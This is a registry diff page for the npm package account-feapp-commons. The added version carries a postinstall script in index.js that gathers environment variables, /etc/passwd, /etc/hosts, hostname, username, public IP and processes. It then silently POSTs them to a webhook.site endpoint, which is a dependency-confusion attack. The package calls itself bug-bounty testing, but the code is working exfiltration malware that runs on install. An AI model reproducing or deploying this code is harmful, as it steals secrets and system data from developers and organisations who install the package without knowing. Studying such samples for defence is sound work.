account-feapp-commons 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of account-feapp-commons might be problematic. Click here for more details.
- package/index.js +74 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
const fs = require("fs");
|
2
|
+
const os = require("os");
|
3
|
+
const http = require("http");
|
4
|
+
const { execSync } = require("child_process");
|
5
|
+
|
6
|
+
// Helper to send data to your webhook.site instance
|
7
|
+
function exfil(data) {
|
8
|
+
const options = {
|
9
|
+
hostname: "fc752763-953d-4be5-95b0-3874600c056c.webhook.site",
|
10
|
+
port: 80,
|
11
|
+
path: "/", // if you have a unique path after the domain, include it here
|
12
|
+
method: "POST",
|
13
|
+
headers: {
|
14
|
+
"Content-Type": "application/json"
|
15
|
+
}
|
16
|
+
};
|
17
|
+
|
18
|
+
const req = http.request(options, (res) => {
|
19
|
+
res.on("data", () => {});
|
20
|
+
});
|
21
|
+
|
22
|
+
req.on("error", (err) => {
|
23
|
+
// Fail silently to avoid breaking builds
|
24
|
+
});
|
25
|
+
|
26
|
+
req.write(JSON.stringify(data));
|
27
|
+
req.end();
|
28
|
+
}
|
29
|
+
|
30
|
+
// Collect and send system data
|
31
|
+
(async () => {
|
32
|
+
const payload = {
|
33
|
+
time: new Date().toISOString(),
|
34
|
+
username: os.userInfo().username,
|
35
|
+
hostname: os.hostname(),
|
36
|
+
platform: os.platform(),
|
37
|
+
arch: os.arch(),
|
38
|
+
homedir: os.homedir(),
|
39
|
+
tmpdir: os.tmpdir(),
|
40
|
+
cwd: process.cwd(),
|
41
|
+
env: process.env,
|
42
|
+
public_ip: null,
|
43
|
+
etc_hosts: null,
|
44
|
+
etc_resolv: null,
|
45
|
+
etc_passwd: null,
|
46
|
+
whoami: null,
|
47
|
+
uname: null,
|
48
|
+
processes: null
|
49
|
+
};
|
50
|
+
|
51
|
+
try {
|
52
|
+
payload.public_ip = execSync("curl -s https://api.ipify.org").toString().trim();
|
53
|
+
} catch {}
|
54
|
+
|
55
|
+
try {
|
56
|
+
payload.etc_hosts = fs.readFileSync("/etc/hosts", "utf8");
|
57
|
+
} catch {}
|
58
|
+
|
59
|
+
try {
|
60
|
+
payload.etc_resolv = fs.readFileSync("/etc/resolv.conf", "utf8");
|
61
|
+
} catch {}
|
62
|
+
|
63
|
+
try {
|
64
|
+
payload.etc_passwd = fs.readFileSync("/etc/passwd", "utf8");
|
65
|
+
} catch {}
|
66
|
+
|
67
|
+
try {
|
68
|
+
payload.whoami = execSync("whoami").toString().trim();
|
69
|
+
payload.uname = execSync("uname -a").toString().trim();
|
70
|
+
payload.processes = execSync("ps aux | head -n 10").toString();
|
71
|
+
} catch {}
|
72
|
+
|
73
|
+
exfil(payload);
|
74
|
+
})();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "account-feapp-commons",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Fake internal Riot package for dependency confusion testing",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "bughunter",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=account-feapp-commons for more information.
|